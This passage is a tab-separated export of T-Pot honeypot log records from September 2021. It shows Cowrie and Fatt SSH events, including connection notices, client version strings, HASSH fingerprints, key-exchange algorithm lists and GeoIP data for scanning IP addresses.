"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 59120, "timestamp": "2021-09-20T11:10:51.654724", "@timestamp": "2021-09-20T11:10:51.654Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25858	109.104.151.106	109.199.241.180	Cowrie	2021-09-20 14:10:54.719861+03	2021-09-20 14:15:12.526644+03	{"_id": "NgbmAnwBvYTbRNuE2B2F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "109.104.151.106", "asn": 48265, "as_org": "ITirana Sh.p.k.", "latitude": 41.0, "location": {"lat": 41.0, "lon": 20.0}, "timezone": "Europe/Tirane", "longitude": 20.0, "country_name": "Albania", "country_code2": "AL", "country_code3": "AL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "109.104.151.106", "eventid": "cowrie.session.closed", "message": "Connection lost after 17 seconds", "session": "f569d9655797", "@version": "1", "duration": 17.449649333953857, "timestamp": "2021-09-20T11:10:54.719861Z", "@timestamp": "2021-09-20T11:10:54.719Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25806	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:51.754199+03	2021-09-20 14:15:12.460646+03	{"_id": "AgbmAnwBvYTbRNuEzB03", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55718, "dest_port": 22, "timestamp": "2021-09-20T11:10:51.754199", "@timestamp": "2021-09-20T11:10:51.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25807	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:51.479114+03	2021-09-20 14:15:12.461645+03	{"_id": "AwbmAnwBvYTbRNuEzB04", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55718, "timestamp": "2021-09-20T11:10:51.479114", "@timestamp": "2021-09-20T11:10:51.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25808	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:10:52.138388+03	2021-09-20 14:15:12.462646+03	{"_id": "BAbmAnwBvYTbRNuEzB04", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 59120, "dest_port": 22, "timestamp": "2021-09-20T11:10:52.138388", "@timestamp": "2021-09-20T11:10:52.138Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25809	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:51.520527+03	2021-09-20 14:15:12.464646+03	{"_id": "BgbmAnwBvYTbRNuEzB3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:38356 (192.168.176.2:22) [session: 459e45d334af]", "session": "459e45d334af", "@version": "1", "protocol": "ssh", "src_port": 38356, "dest_port": 22, "timestamp": "2021-09-20T11:10:51.520527Z", "@timestamp": "2021-09-20T11:10:51.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25810	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:51.551947+03	2021-09-20 14:15:12.465646+03	{"_id": "BwbmAnwBvYTbRNuEzB3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "459e45d334af", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:51.551947Z", "@timestamp": "2021-09-20T11:10:51.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25811	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:51.633505+03	2021-09-20 14:15:12.466646+03	{"_id": "CAbmAnwBvYTbRNuEzB3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "8e5aded853ca", "@version": "1", "duration": 3.4433248043060303, "timestamp": "2021-09-20T11:10:51.633505Z", "@timestamp": "2021-09-20T11:10:51.633Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25812	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:51.652239+03	2021-09-20 14:15:12.467646+03	{"_id": "CQbmAnwBvYTbRNuEzB3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "41d400a16496", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:10:51.652239Z", "@timestamp": "2021-09-20T11:10:51.652Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25813	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:51.754455+03	2021-09-20 14:15:12.469645+03	{"_id": "CgbmAnwBvYTbRNuEzB3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f380da35ef70", "@version": "1", "timestamp": "2021-09-20T11:10:51.754455Z", "@timestamp": "2021-09-20T11:10:51.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25814	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:10:52.139115+03	2021-09-20 14:15:12.471645+03	{"_id": "CwbmAnwBvYTbRNuEzB3Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "41d400a16496", "@version": "1", "timestamp": "2021-09-20T11:10:52.139115Z", "@timestamp": "2021-09-20T11:10:52.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
